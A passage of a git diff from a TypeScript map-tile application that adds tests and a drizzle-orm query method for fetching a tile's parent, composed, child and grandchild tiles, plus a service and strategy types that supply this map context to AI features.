[Direction.NorthEast, Direction.East], + }); + await testEnv.service.items.crud.addItemToMap({ + parentId: parseInt(parentItem.id), + coords: childCoords, + title: "Regular Child", + }); + + // Get context with children + const context = await testEnv.repositories.mapItem.getContextForCenter({ + centerPath: [Direction.NorthEast], + userId, + groupId, + includeParent: false, + includeComposed: false, + includeChildren: true, + includeGrandchildren: false, + }); + + // Should only return the regular child, not the composed container + expect(context.children).toHaveLength(1); + expect(context.children[0]?.ref.attrs.title).toBe("Regular Child"); + }); + + it("should return empty array when center has no children", async () => { + const testParams = _createUniqueTestParams(); + const { userId, groupId } = testParams; + const rootMap = await _setupBasicMap(testEnv.service, testParams); + + // Create parent tile with no children + const parentCoords = _createTestCoordinates({ + userId, + groupId, + path: [Direction.NorthEast], + }); + await testEnv.service.items.crud.addItemToMap({ + parentId: rootMap.id, + coords: parentCoords, + title: "Childless Parent", + }); + + // Get context with children + const context = await testEnv.repositories.mapItem.getContextForCenter({ + centerPath: [Direction.NorthEast], + userId, + groupId, + includeParent: false, + includeComposed: false, + includeChildren: true, + includeGrandchildren: false, + }); + + expect(context.children).toHaveLength(0); + }); + }); + + describe("Composed children retrieval", () => { + it("should return composition container and its children", async () => { + const testParams = _createUniqueTestParams(); + const { userId, groupId } = testParams; + const rootMap = await _setupBasicMap(testEnv.service, testParams); + + // Create parent tile + const parentCoords = _createTestCoordinates({ + userId, + groupId, + path: [Direction.NorthEast], + }); + const parentItem = await testEnv.service.items.crud.addItemToMap({ + parentId: rootMap.id, + coords: parentCoords, + title: "Parent Tile", + }); + + // Create composition container (direction 0) + const composedContainerCoords = _createTestCoordinates({ + userId, + groupId, + path: [Direction.NorthEast, Direction.Center], + }); + const composedContainer = await testEnv.service.items.crud.addItemToMap({ + parentId: parseInt(parentItem.id), + coords: composedContainerCoords, + title: "Composition Container", + }); + + // Create composed children + const composed1Coords = _createTestCoordinates({ + userId, + groupId, + path: [Direction.NorthEast, Direction.Center, Direction.NorthWest], + }); + await testEnv.service.items.crud.addItemToMap({ + parentId: parseInt(composedContainer.id), + coords: composed1Coords, + title: "Composed Child 1", + }); + + const composed2Coords = _createTestCoordinates({ + userId, + groupId, + path: [Direction.NorthEast, Direction.Center, Direction.East], + }); + await testEnv.service.items.crud.addItemToMap({ + parentId: parseInt(composedContainer.id), + coords: composed2Coords, + title: "Composed Child 2", + }); + + // Get context with composed children + const context = await testEnv.repositories.mapItem.getContextForCenter({ + centerPath: [Direction.NorthEast], + userId, + groupId, + includeParent: false, + includeComposed: true, + includeChildren: false, + includeGrandchildren: false, + }); + + // Should return only 2 composed children (NOT the container itself) + // The container at "1,0" is just a transition, composed children are "1,0,1", "1,0,2", etc. + expect(context.composed).toHaveLength(2); + + // Verify composed children (depth = centerDepth + 2) + const composedTitles = context.composed + .map((c) => c.ref.attrs.title) + .sort(); + expect(composedTitles).toEqual(["Composed Child 1", "Composed Child 2"]); + + // Verify they are at the correct depth + context.composed.forEach((item) => { + expect(item.attrs.coords.path).toHaveLength(3); // center=1, container=2, child=3 + expect(item.attrs.coords.path[1]).toBe(Direction.Center); // Second element is 0 + }); + }); + + it("should only include tiles within direction 0 path", async () => { + const testParams = _createUniqueTestParams(); + const { userId, groupId } = testParams; + const rootMap = await _setupBasicMap(testEnv.service, testParams); + + // Create parent tile + const parentCoords = _createTestCoordinates({ + userId, + groupId, + path: [Direction.NorthEast], + }); + const parentItem = await testEnv.service.items.crud.addItemToMap({ + parentId: rootMap.id, + coords: parentCoords, + title: "Parent Tile", + }); + + // Create composition container + const composedCoords = _createTestCoordinates({ + userId, + groupId, + path: [Direction.NorthEast, Direction.Center], + }); + await testEnv.service.items.crud.addItemToMap({ + parentId: parseInt(parentItem.id), + coords: composedCoords, + title: "Composed Container", + }); + + // Create regular child (should NOT be in composed) + const regularChildCoords = _createTestCoordinates({ + userId, + groupId, + path: [Direction.NorthEast, Direction.East], + }); + await testEnv.service.items.crud.addItemToMap({ + parentId: parseInt(parentItem.id), + coords: regularChildCoords, + title: "Regular Child", + }); + + // Get context with composed children + const context = await testEnv.repositories.mapItem.getContextForCenter({ + centerPath: [Direction.NorthEast], + userId, + groupId, + includeParent: false, + includeComposed: true, + includeChildren: false, + includeGrandchildren: false, + }); + + // Should return empty array - we only created the container, not any composed children + // The container itself ("1,0") is not a composed child, it's just a transition + expect(context.composed).toHaveLength(0); + }); + + it("should return empty array when no composition exists", async () => { + const testParams = _createUniqueTestParams(); + const { userId, groupId } = testParams; + const rootMap = await _setupBasicMap(testEnv.service, testParams); + + // Create parent tile without composition + const parentCoords = _createTestCoordinates({ + userId, + groupId, + path: [Direction.NorthEast], + }); + await testEnv.service.items.crud.addItemToMap({ + parentId: rootMap.id, + coords: parentCoords, + title: "Parent Without Composition", + }); + + // Get context with composed children + const context = await testEnv.repositories.mapItem.getContextForCenter({ + centerPath: [Direction.NorthEast], + userId, + groupId, + includeParent: false, + includeComposed: true, + includeChildren: false, + includeGrandchildren: false, + }); + + expect(context.composed).toHaveLength(0); + }); + }); + + describe("Grandchildren retrieval", () => { + it("should return grandchildren (depth 2 from center)", async () => { + const testParams = _createUniqueTestParams(); + const { userId, groupId } = testParams; + const rootMap = await _setupBasicMap(testEnv.service, testParams); + + // Create parent + const parentCoords = _createTestCoordinates({ + userId, + groupId, + path: [Direction.NorthEast], + }); + const parentItem = await testEnv.service.items.crud.addItemToMap({ + parentId: rootMap.id, + coords: parentCoords, + title: "Parent", + }); + + // Create child + const childCoords = _createTestCoordinates({ + userId, + groupId, + path: [Direction.NorthEast, Direction.East], + }); + const childItem = await testEnv.service.items.crud.addItemToMap({ + parentId: parseInt(parentItem.id), + coords: childCoords, + title: "Child", + }); + + // Create grandchildren + const grandchild1Coords = _createTestCoordinates({ + userId, + groupId, + path: [Direction.NorthEast, Direction.East, Direction.NorthWest], + }); + await testEnv.service.items.crud.addItemToMap({ + parentId: parseInt(childItem.id), + coords: grandchild1Coords, + title: "Grandchild 1", + }); + + const grandchild2Coords = _createTestCoordinates({ + userId, + groupId, + path: [Direction.NorthEast, Direction.East, Direction.SouthEast], + }); + await testEnv.service.items.crud.addItemToMap({ + parentId: parseInt(childItem.id), + coords: grandchild2Coords, + title: "Grandchild 2", + }); + + // Get context with grandchildren + const context = await testEnv.repositories.mapItem.getContextForCenter({ + centerPath: [Direction.NorthEast], + userId, + groupId, + includeParent: false, + includeComposed: false, + includeChildren: false, + includeGrandchildren: true, + }); + + // Should return both grandchildren + expect(context.grandchildren).toHaveLength(2); + const grandchildTitles = context.grandchildren + .map((g) => g.ref.attrs.title) + .sort(); + expect(grandchildTitles).toEqual(["Grandchild 1", "Grandchild 2"]); + + // Verify they are at depth 3 (grandparent=1, parent=2, grandchild=3) + context.grandchildren.forEach((grandchild) => { + expect(grandchild.attrs.coords.path).toHaveLength(3); + }); + }); + + it("should not include composed tiles in grandchildren", async () => { + const testParams = _createUniqueTestParams(); + const { userId, groupId } = testParams; + const rootMap = await _setupBasicMap(testEnv.service, testParams); + + // Create parent + const parentCoords = _createTestCoordinates({ + userId, + groupId, + path: [Direction.NorthEast], + }); + const parentItem = await testEnv.service.items.crud.addItemToMap({ + parentId: rootMap.id, + coords: parentCoords, + title: "Parent", + }); + + // Create child with composition + const childCoords = _createTestCoordinates({ + userId, + groupId, + path: [Direction.NorthEast, Direction.East], + }); + const childItem = await testEnv.service.items.crud.addItemToMap({ + parentId: parseInt(parentItem.id), + coords: childCoords, + title: "Child", + }); + + // Create composed grandchild (direction 0 in path) + const composedGrandchildCoords = _createTestCoordinates({ + userId, + groupId, + path: [Direction.NorthEast, Direction.East, Direction.Center], + }); + await testEnv.service.items.crud.addItemToMap({ + parentId: parseInt(childItem.id), + coords: composedGrandchildCoords, + title: "Composed Grandchild", + }); + + // Create regular grandchild + const regularGrandchildCoords = _createTestCoordinates({ + userId, + groupId, + path: [Direction.NorthEast, Direction.East, Direction.NorthWest], + }); + await testEnv.service.items.crud.addItemToMap({ + parentId: parseInt(childItem.id), + coords: regularGrandchildCoords, + title: "Regular Grandchild", + }); + + // Get context with grandchildren + const context = await testEnv.repositories.mapItem.getContextForCenter({ + centerPath: [Direction.NorthEast], + userId, + groupId, + includeParent: false, + includeComposed: false, + includeChildren: false, + includeGrandchildren: true, + }); + + // Should only return regular grandchild, not composed + expect(context.grandchildren).toHaveLength(1); + expect(context.grandchildren[0]?.ref.attrs.title).toBe( + "Regular Grandchild", + ); + }); + + it("should return empty array when no grandchildren exist", async () => { + const testParams = _createUniqueTestParams(); + const { userId, groupId } = testParams; + const rootMap = await _setupBasicMap(testEnv.service, testParams); + + // Create parent without grandchildren + const parentCoords = _createTestCoordinates({ + userId, + groupId, + path: [Direction.NorthEast], + }); + await testEnv.service.items.crud.addItemToMap({ + parentId: rootMap.id, + coords: parentCoords, + title: "Parent Without Grandchildren", + }); + + // Get context with grandchildren + const context = await testEnv.repositories.mapItem.getContextForCenter({ + centerPath: [Direction.NorthEast], + userId, + groupId, + includeParent: false, + includeComposed: false, + includeChildren: false, + includeGrandchildren: true, + }); + + expect(context.grandchildren).toHaveLength(0); + }); + }); + + describe("Center with Direction.Center in path", () => { + it("should correctly handle children/grandchildren when center path contains 0", async () => { + const testParams = _createUniqueTestParams(); + const { userId, groupId } = testParams; + const rootMap = await _setupBasicMap(testEnv.service, testParams); + + // Create: Root -> Tile1 -> Container(0) -> ComposedChild(1) [this is our center] + // Path structure: [] -> [1] -> [1,0] -> [1,0,1] + + const tile1Coords = _createTestCoordinates({ + userId, + groupId, + path: [Direction.NorthEast], + }); + const tile1 = await testEnv.service.items.crud.addItemToMap({ + parentId: rootMap.id, + coords: tile1Coords, + title: "Tile 1", + }); + + const containerCoords = _createTestCoordinates({ + userId, + groupId, + path: [Direction.NorthEast, Direction.Center], + }); + const container = await testEnv.service.items.crud.addItemToMap({ + parentId: parseInt(tile1.id), + coords: containerCoords, + title: "Container", + }); + + // This is our center - a composed child with 0 in its path + const centerCoords = _createTestCoordinates({ + userId, + groupId, + path: [Direction.NorthEast, Direction.Center, Direction.NorthWest], + }); + const centerItem = await testEnv.service.items.crud.addItemToMap({ + parentId: parseInt(container.id), + coords: centerCoords, + title: "Composed Child Center", + }); + + // Create regular children of the center: [1,0,1,3], [1,0,1,4] + const child1Coords = _createTestCoordinates({ + userId, + groupId, + path: [Direction.NorthEast, Direction.Center, Direction.NorthWest, Direction.East], + }); + await testEnv.service.items.crud.addItemToMap({ + parentId: parseInt(centerItem.id), + coords: child1Coords, + title: "Regular Child 1", + }); + + const child2Coords = _createTestCoordinates({ + userId, + groupId, + path: [Direction.NorthEast, Direction.Center, Direction.NorthWest, Direction.SouthEast], + }); + await testEnv.service.items.crud.addItemToMap({ + parentId: parseInt(centerItem.id), + coords: child2Coords, + title: "Regular Child 2", + }); + + // Create a composed child under center: [1,0,1,0] (container) + const composedContainerCoords = _createTestCoordinates({ + userId, + groupId, + path: [Direction.NorthEast, Direction.Center, Direction.NorthWest, Direction.Center], + }); + await testEnv.service.items.crud.addItemToMap({ + parentId: parseInt(centerItem.id), + coords: composedContainerCoords, + title: "Composed Container Under Center", + }); + + // Get context for center at [1,0,1] + const context = await testEnv.repositories.mapItem.getContextForCenter({ + centerPath: [Direction.NorthEast, Direction.Center, Direction.NorthWest], + userId, + groupId, + includeParent: true, + includeComposed: false, + includeChildren: true, + includeGrandchildren: false, + }); + + // Bug: Children query uses notLike('%,0,%') which would exclude [1,0,1,3] + // because it matches the pattern (,0, appears in the path) + // But [1,0,1,3] IS a valid child - the 0 is in the CENTER path, not in the child segment + + // Should return 2 regular children, NOT the composed container + expect(context.children).toHaveLength(2); + const childTitles = context.children.map((c) => c.ref.attrs.title).sort(); + expect(childTitles).toEqual(["Regular Child 1", "Regular Child 2"]); + + // Verify parent is the container + expect(context.parent?.ref.attrs.title).toBe("Container"); + }); + }); + + describe("Full context retrieval", () => { + it("should retrieve parent, center, composed, children, and grandchildren together", async () => { + const testParams = _createUniqueTestParams(); + const { userId, groupId } = testParams; + const rootMap = await _setupBasicMap(testEnv.service, testParams); + + // Create parent (root's child) + const parentCoords = _createTestCoordinates({ + userId, + groupId, + path: [Direction.NorthEast], + }); + const parentItem = await testEnv.service.items.crud.addItemToMap({ + parentId: rootMap.id, + coords: parentCoords, + title: "Center Tile", + }); + + // Create composition + const composedCoords = _createTestCoordinates({ + userId, + groupId, + path: [Direction.NorthEast, Direction.Center], + }); + await testEnv.service.items.crud.addItemToMap({ + parentId: parseInt(parentItem.id), + coords: composedCoords, + title: "Composed Container", + }); + + // Create children + const child1Coords = _createTestCoordinates({ + userId, + groupId, + path: [Direction.NorthEast, Direction.East], + }); + const child1Item = await testEnv.service.items.crud.addItemToMap({ + parentId: parseInt(parentItem.id), + coords: child1Coords, + title: "Child 1", + }); + + const child2Coords = _createTestCoordinates({ + userId, + groupId, + path: [Direction.NorthEast, Direction.West], + }); + const child2Item = await testEnv.service.items.crud.addItemToMap({ + parentId: parseInt(parentItem.id), + coords: child2Coords, + title: "Child 2", + }); + + // Create grandchildren + const grandchild1Coords = _createTestCoordinates({ + userId, + groupId, + path: [Direction.NorthEast, Direction.East, Direction.NorthWest], + }); + await testEnv.service.items.crud.addItemToMap({ + parentId: parseInt(child1Item.id), + coords: grandchild1Coords, + title: "Grandchild 1", + }); + + const grandchild2Coords = _createTestCoordinates({ + userId, + groupId, + path: [Direction.NorthEast, Direction.West, Direction.SouthEast], + }); + await testEnv.service.items.crud.addItemToMap({ + parentId: parseInt(child2Item.id), + coords: grandchild2Coords, + title: "Grandchild 2", + }); + + // Get full context + const context = await testEnv.repositories.mapItem.getContextForCenter({ + centerPath: [Direction.NorthEast], + userId, + groupId, + includeParent: true, + includeComposed: true, + includeChildren: true, + includeGrandchildren: true, + }); + + // Verify all parts + expect(context.parent?.ref.attrs.title).toBe(rootMap.title); + expect(context.center.ref.attrs.title).toBe("Center Tile"); + + // Composed should be empty - we only created the container, not composed children + // The container at "1,0" is not returned, only actual composed children like "1,0,1" would be + expect(context.composed).toHaveLength(0); + + expect(context.children).toHaveLength(2); + expect(context.grandchildren).toHaveLength(2); + + // Verify correct structure + const childTitles = context.children.map((c) => c.ref.attrs.title).sort(); + expect(childTitles).toEqual(["Child 1", "Child 2"]); + + const grandchildTitles = context.grandchildren + .map((g) => g.ref.attrs.title) + .sort(); + expect(grandchildTitles).toEqual(["Grandchild 1", "Grandchild 2"]); + }); + }); +}); diff --git a/src/lib/domains/mapping/infrastructure/map-item/queries/specialized-queries.ts b/src/lib/domains/mapping/infrastructure/map-item/queries/specialized-queries.ts index dc7cbe9d7..38eb60883 100644 --- a/src/lib/domains/mapping/infrastructure/map-item/queries/specialized-queries.ts +++ b/src/lib/domains/mapping/infrastructure/map-item/queries/specialized-queries.ts @@ -1,4 +1,4 @@ -import { eq, type SQL, sql, and, like, gte, lte } from "drizzle-orm"; +import { eq, type SQL, sql, and, like, gte, lte, notLike, or } from "drizzle-orm"; import type { PostgresJsDatabase } from "drizzle-orm/postgres-js"; import { schema as schemaImport } from "~/server/db"; const { mapItems, baseItems } = schemaImport; @@ -8,6 +8,21 @@ import type { Direction } from "~/lib/domains/mapping/utils"; import type { DbMapItemWithBase } from "~/lib/domains/mapping/infrastructure/map-item/types"; import { pathToString } from "~/lib/domains/mapping/infrastructure/map-item/mappers"; +/** + * Field selection configuration for optimized queries + */ +export type FieldSelection = 'minimal' | 'standard' | 'full'; + +export interface ContextQueryConfig { + centerPath: Direction[]; + userId: number; + groupId: number; + includeParent: boolean; + includeComposed: boolean; + includeChildren: boolean; + includeGrandchildren: boolean; +} + export class SpecializedQueries { constructor(private db: PostgresJsDatabase) {} @@ -192,4 +207,261 @@ export class SpecializedQueries { return conditions; } + + /** + * Optimized context fetch with per-level field selection + * Uses 3 queries to minimize data transfer: + * - Query 1: Center/Parent/Composed with full content (AI needs it) + * - Query 2: Children with title+preview only (overview) + * - Query 3: Grandchildren with title only (structure awareness) + */ + async fetchContextForCenter( + config: ContextQueryConfig + ): Promise<{ + parent: DbMapItemWithBase | null; + center: DbMapItemWithBase; + composed: DbMapItemWithBase[]; + children: DbMapItemWithBase[]; + grandchildren: DbMapItemWithBase[]; + }> { + const { centerPath, userId, groupId } = config; + const centerPathString = pathToString(centerPath); + const centerDepth = centerPath.length; + + // QUERY 1: Center + Parent + Composed (FULL content - needed for AI) + const fullContentConditions: SQL[] = []; + + // Always fetch center + fullContentConditions.push(eq(mapItems.path, centerPathString)); + + // Parent (if requested and not root) + if (config.includeParent && centerPath.length > 0) { + const parentPath = centerPath.slice(0, -1); + const parentPathString = pathToString(parentPath); + fullContentConditions.push(eq(mapItems.path, parentPathString)); + } + + // Composed tiles (if requested) - only the children under the container, not the container itself + // For center at path "1", fetch "1,0,1", "1,0,2", etc. (NOT "1,0" which is just a transition) + if (config.includeComposed) { + const composedChildrenPattern = centerPathString ? `${centerPathString},0,%` : '0,%'; + fullContentConditions.push( + and( + like(mapItems.path, composedChildrenPattern), + eq( + sql`array_length(string_to_array(${mapItems.path}, ','), 1)`, + centerDepth + 2 + ) + )! + ); + } + + const fullContentResults = await this.db + .select({ + map_items: { + id: mapItems.id, + coord_user_id: mapItems.coord_user_id, + coord_group_id: mapItems.coord_group_id, + path: mapItems.path, + item_type: mapItems.item_type, + parentId: mapItems.parentId, + refItemId: mapItems.refItemId, + createdAt: mapItems.createdAt, + updatedAt: mapItems.updatedAt, + }, + base_items: { + id: baseItems.id, + title: baseItems.title, + content: baseItems.content, // ← FULL content + preview: baseItems.preview, + link: baseItems.link, + originId: baseItems.originId, + createdAt: baseItems.createdAt, + updatedAt: baseItems.updatedAt, + }, + }) + .from(mapItems) + .leftJoin(baseItems, eq(mapItems.refItemId, baseItems.id)) + .where( + and( + eq(mapItems.coord_user_id, userId), + eq(mapItems.coord_group_id, groupId), + or(...fullContentConditions) + ) + ); + + // QUERY 2: Children (title + preview, NO content) + let childrenResults: Array<{ map_items: unknown; base_items: unknown }> = []; + if (config.includeChildren) { + const childPattern = centerPathString ? `${centerPathString},%` : '%'; + // Exclude composition containers: paths that end with ,0 AFTER the center path + // For center "1,0,1", exclude "1,0,1,0" but allow "1,0,1,3" + const composedContainerPattern = centerPathString ? `${centerPathString},0` : '0'; + + childrenResults = await this.db + .select({ + map_items: { + id: mapItems.id, + coord_user_id: mapItems.coord_user_id, + coord_group_id: mapItems.coord_group_id, + path: mapItems.path, + item_type: mapItems.item_type, + parentId: mapItems.parentId, + refItemId: mapItems.refItemId, + createdAt: mapItems.createdAt, + updatedAt: mapItems.updatedAt, + }, + base_items: { + id: baseItems.id, + title: baseItems.title, + content: sql`''`.as('content'), // ← Empty string (don't fetch) + preview: baseItems.preview, + link: baseItems.link, + originId: baseItems.originId, + createdAt: baseItems.createdAt, + updatedAt: baseItems.updatedAt, + }, + }) + .from(mapItems) + .leftJoin(baseItems, eq(mapItems.refItemId, baseItems.id)) + .where( + and( + eq(mapItems.coord_user_id, userId), + eq(mapItems.coord_group_id, groupId), + like(mapItems.path, childPattern), + eq( + sql`array_length(string_to_array(${mapItems.path}, ','), 1)`, + centerDepth + 1 + ), + // Exclude the composition container (e.g., "1,0,1,0" when center is "1,0,1") + notLike(mapItems.path, composedContainerPattern) + ) + ); + } + + // QUERY 3: Grandchildren (title only, NO content or preview) + let grandchildrenResults: Array<{ map_items: unknown; base_items: unknown }> = []; + if (config.includeGrandchildren) { + const grandchildPattern = centerPathString ? `${centerPathString},%` : '%'; + // Exclude composition-related paths at grandchild level + // For center "1", exclude paths like "1,X,0" (where X is any child) + // This means excluding paths that have ,0 as the LAST segment + const compositionGrandchildPattern = centerPathString ? `${centerPathString},%,0` : '%,0'; + + grandchildrenResults = await this.db + .select({ + map_items: { + id: mapItems.id, + coord_user_id: mapItems.coord_user_id, + coord_group_id: mapItems.coord_group_id, + path: mapItems.path, + item_type: mapItems.item_type, + parentId: mapItems.parentId, + refItemId: mapItems.refItemId, + createdAt: mapItems.createdAt, + updatedAt: mapItems.updatedAt, + }, + base_items: { + id: baseItems.id, + title: baseItems.title, + content: sql`''`.as('content'), // ← Empty + preview: sql`NULL`.as('preview'), // ← NULL + link: baseItems.link, + originId: baseItems.originId, + createdAt: baseItems.createdAt, + updatedAt: baseItems.updatedAt, + }, + }) + .from(mapItems) + .leftJoin(baseItems, eq(mapItems.refItemId, baseItems.id)) + .where( + and( + eq(mapItems.coord_user_id, userId), + eq(mapItems.coord_group_id, groupId), + like(mapItems.path, grandchildPattern), + eq( + sql`array_length(string_to_array(${mapItems.path}, ','), 1)`, + centerDepth + 2 + ), + // Exclude grandchildren that are composition containers (ending with ,0) + notLike(mapItems.path, compositionGrandchildPattern) + ) + ); + } + + // Extract from full content results + const center = fullContentResults.find((r) => r.map_items.path === centerPathString); + if (!center?.map_items || !center?.base_items) { + throw new Error(`Center tile not found at path: ${centerPathString}`); + } + + const parent = config.includeParent && centerPath.length > 0 + ? this._findParent(fullContentResults, centerPath) + : null; + + const composed = config.includeComposed + ? this._filterComposed(fullContentResults, centerPathString, centerDepth) + : []; + + // Filter children and grandchildren from their respective queries + const children = childrenResults.filter((r) => { + if (!r.map_items || typeof r.map_items !== 'object') return false; + if (!('path' in r.map_items) || typeof r.map_items.path !== 'string') return false; + return r.base_items !== null; + }) as DbMapItemWithBase[]; + + const grandchildren = grandchildrenResults.filter((r) => { + if (!r.map_items || typeof r.map_items !== 'object') return false; + if (!('path' in r.map_items) || typeof r.map_items.path !== 'string') return false; + return r.base_items !== null; + }) as DbMapItemWithBase[]; + + return { + parent, + center: center as DbMapItemWithBase, + composed, + children, + grandchildren, + }; + } + + private _findParent( + results: Array<{ map_items: unknown; base_items: unknown }>, + centerPath: Direction[] + ): DbMapItemWithBase | null { + const parentPath = centerPath.slice(0, -1); + const parentPathString = pathToString(parentPath); + const parent = results.find((r) => { + if (!r.map_items || typeof r.map_items !== 'object') return false; + if (!('path' in r.map_items)) return false; + return r.map_items.path === parentPathString; + }); + return parent?.map_items && parent?.base_items + ? (parent as DbMapItemWithBase) + : null; + } + + private _filterComposed( + results: Array<{ map_items: unknown; base_items: unknown }>, + centerPathString: string, + centerDepth: number + ): DbMapItemWithBase[] { + // Match only the actual composed children (e.g., "1,0,1", "1,0,2") + // NOT the container itself (e.g., "1,0") + const composedPrefix = centerPathString ? `${centerPathString},0,` : '0,'; + + return results.filter((r) => { + // Type guard + if (!r.map_items || typeof r.map_items !== 'object') return false; + if (!('path' in r.map_items) || typeof r.map_items.path !== 'string') return false; + if (!r.base_items) return false; + + const path = r.map_items.path; + // Only match children under the composition container + if (!path.startsWith(composedPrefix)) return false; + const depth = path.split(',').length; + return depth === centerDepth + 2; + }) as DbMapItemWithBase[]; + } + } diff --git a/src/lib/domains/mapping/services/_item-services/_item-context.service.ts b/src/lib/domains/mapping/services/_item-services/_item-context.service.ts new file mode 100644 index 000000000..fac3f93f5 --- /dev/null +++ b/src/lib/domains/mapping/services/_item-services/_item-context.service.ts @@ -0,0 +1,76 @@ +import type { + MapItemRepository, + BaseItemRepository, +} from "~/lib/domains/mapping/_repositories"; +import { MapItemActions } from "~/lib/domains/mapping/_actions"; +import { adapt } from "~/lib/domains/mapping/types/contracts"; +import { + CoordSystem, + type ContextStrategy, + type MapContext, +} from "~/lib/domains/mapping/utils"; + +/** + * Service for fetching map context for AI operations + * + * Fetches tiles around a center tile based on strategy: + * - Parent: The tile containing the center + * - Composed: Direction 0 (internal structure) tiles + * - Children: Direct descendants (depth 1) + * - Grandchildren: Second-level descendants (depth 2) + */ +export class ItemContextService { + private readonly actions: MapItemActions; + + constructor(repositories: { + mapItem: MapItemRepository; + baseItem: BaseItemRepository; + }) { + this.actions = new MapItemActions({ + mapItem: repositories.mapItem, + baseItem: repositories.baseItem, + }); + } + + /** + * Get context around a center tile + * + * Uses optimized single-query approach that: + * - Fetches all needed tiles in one database query + * - Excludes direction 0 paths from children/grandchildren + * - Avoids redundant data fetching + * + * @param centerCoordId - Coordinate ID of the center tile + * @param strategy - Which surrounding tiles to include + * @returns MapContext with center and surrounding tiles + */ + async getContextForCenter( + centerCoordId: string, + strategy: ContextStrategy + ): Promise { + // Parse center coordinates + const centerCoord = CoordSystem.parseId(centerCoordId); + const userId = centerCoord.userId; + + // Use optimized repository method - single query with pattern matching + const contextData = await this.actions.mapItems.getContextForCenter({ + centerPath: centerCoord.path, + userId: centerCoord.userId, + groupId: centerCoord.groupId, + includeParent: strategy.includeParent, + includeComposed: strategy.includeComposed, + includeChildren: strategy.includeChildren, + includeGrandchildren: strategy.includeGrandchildren, + }); + + // Convert to contracts + return { + center: adapt.mapItem(contextData.center, userId), + parent: contextData.parent ? adapt.mapItem(contextData.parent, userId) : null, + composed: contextData.composed.map((item) => adapt.mapItem(item, userId)), + children: contextData.children.map((item) => adapt.mapItem(item, userId)), + grandchildren: contextData.grandchildren.map((item) => adapt.mapItem(item, userId)), + }; + } + +} diff --git a/src/lib/domains/mapping/services/_item-services/index.ts b/src/lib/domains/mapping/services/_item-services/index.ts index 95183768c..44396542b 100644 --- a/src/lib/domains/mapping/services/_item-services/index.ts +++ b/src/lib/domains/mapping/services/_item-services/index.ts @@ -2,3 +2,4 @@ export { ItemCrudService } from "~/lib/domains/mapping/services/_item-services/_ export { ItemHistoryService } from "~/lib/domains/mapping/services/_item-services/_item-history.service"; export { ItemQueryService } from "~/lib/domains/mapping/services/_item-services/_item-query.service"; export { ItemManagementService } from "~/lib/domains/mapping/services/_item-services/_item-management.service"; +export { ItemContextService } from "~/lib/domains/mapping/services/_item-services/_item-context.service"; diff --git a/src/lib/domains/mapping/services/index.ts b/src/lib/domains/mapping/services/index.ts index 9d4eaacf4..2508e6bb6 100644 --- a/src/lib/domains/mapping/services/index.ts +++ b/src/lib/domains/mapping/services/index.ts @@ -4,5 +4,6 @@ export { ItemManagementService } from "~/lib/domains/mapping/services/_item-serv export { ItemCrudService } from "~/lib/domains/mapping/services/_item-services"; export { ItemQueryService } from "~/lib/domains/mapping/services/_item-services"; export { ItemHistoryService } from "~/lib/domains/mapping/services/_item-services"; +export { ItemContextService } from "~/lib/domains/mapping/services/_item-services"; export { MappingUtils } from "~/lib/domains/mapping/services/_mapping-utils"; // export * from "./adapters"; diff --git a/src/lib/domains/mapping/services/mapping.service.ts b/src/lib/domains/mapping/services/mapping.service.ts index 6c71beeaa..013b280f5 100644 --- a/src/lib/domains/mapping/services/mapping.service.ts +++ b/src/lib/domains/mapping/services/mapping.service.ts @@ -3,7 +3,7 @@ import type { BaseItemRepository, } from "~/lib/domains/mapping/_repositories"; import { MapManagementService } from "~/lib/domains/mapping/services/_map-management.service"; -import { ItemManagementService } from "~/lib/domains/mapping/services/_item-services"; +import { ItemManagementService, ItemContextService } from "~/lib/domains/mapping/services/_item-services"; /** * Main coordinating service for mapping operations. @@ -12,10 +12,12 @@ import { ItemManagementService } from "~/lib/domains/mapping/services/_item-serv * Usage: * - For map-level operations: service.maps.methodName() * - For item-level operations: service.items.methodName() + * - For AI context operations: service.context.methodName() */ export class MappingService { public readonly maps: MapManagementService; public readonly items: ItemManagementService; + public readonly context: ItemContextService; constructor(repositories: { mapItem: MapItemRepository; @@ -23,5 +25,6 @@ export class MappingService { }) { this.maps = new MapManagementService(repositories); this.items = new ItemManagementService(repositories); + this.context = new ItemContextService(repositories); } } diff --git a/src/lib/domains/mapping/utils/context.ts b/src/lib/domains/mapping/utils/context.ts new file mode 100644 index 000000000..ef5e7d261 --- /dev/null +++ b/src/lib/domains/mapping/utils/context.ts @@ -0,0 +1,68 @@ +import type { MapItemContract } from "~/lib/domains/mapping/types/contracts"; + +/** + * Strategy for fetching context around a center tile + */ +export interface ContextStrategy { + includeParent: boolean; // Include parent tile + includeComposed: boolean; // Include direction 0 tiles + includeChildren: boolean; // Include depth 1 children + includeGrandchildren: boolean; // Include depth 2 grandchildren +} + +/** + * Context data for AI operations + * Contains center tile plus surrounding tiles based on strategy + */ +export interface MapContext { + center: MapItemContract; + parent: MapItemContract | null; + composed: MapItemContract[]; // Direction 0 tiles + children: MapItemContract[]; // Depth 1 from center + grandchildren: MapItemContract[]; // Depth 2 from center +} + +/** + * Predefined context strategies for common use cases + */ +export const ContextStrategies = { + /** + * Minimal context: just center + parent + */ + MINIMAL: { + includeParent: true, + includeComposed: false, + includeChildren: false, + includeGrandchildren: false, + } as ContextStrategy, + + /** + * Standard context: center + parent + composed + children + */ + STANDARD: { + includeParent: true, + includeComposed: true, + includeChildren: true, + includeGrandchildren: false, + } as ContextStrategy, + + /** + * Extended context: all levels + */ + EXTENDED: { + includeParent: true, + includeComposed: true, + includeChildren: true, + includeGrandchildren: true, + } as ContextStrategy, + + /** + * Focused context: no parent, no grandchildren + */ + FOCUSED: { + includeParent: false, + includeComposed: true, + includeChildren: true, + includeGrandchildren: false, + } as ContextStrategy, +} as const; diff --git a/src/lib/domains/mapping/utils/index.ts b/src/lib/domains/mapping/utils/index.ts index 878ff91d1..812f95908 100644 --- a/src/lib/domains/mapping/utils/index.ts +++ b/src/lib/domains/mapping/utils/index.ts @@ -23,4 +23,11 @@ export type { } from '~/lib/domains/mapping/types/item-attributes'; // MapItem type enum -export { MapItemType } from '~/lib/domains/mapping/_objects'; \ No newline at end of file +export { MapItemType } from '~/lib/domains/mapping/_objects'; + +// Context types for AI operations +export { + type ContextStrategy, + type MapContext, + ContextStrategies, +} from '~/lib/domains/mapping/utils/context'; \ No newline at end of file diff --git a/src/server/README.md b/src/server/README.md index f2b912b9c..0edbbfefb 100644 --- a/src/server/README.md +++ b/src/server/README.md @@ -10,7 +10,12 @@ This subdirectory houses the tRPC API implementation. tRPC allows for building t - **`root.ts`**: This is the main entry point for the tRPC API, where all the individual routers are combined into a single `appRouter`. - 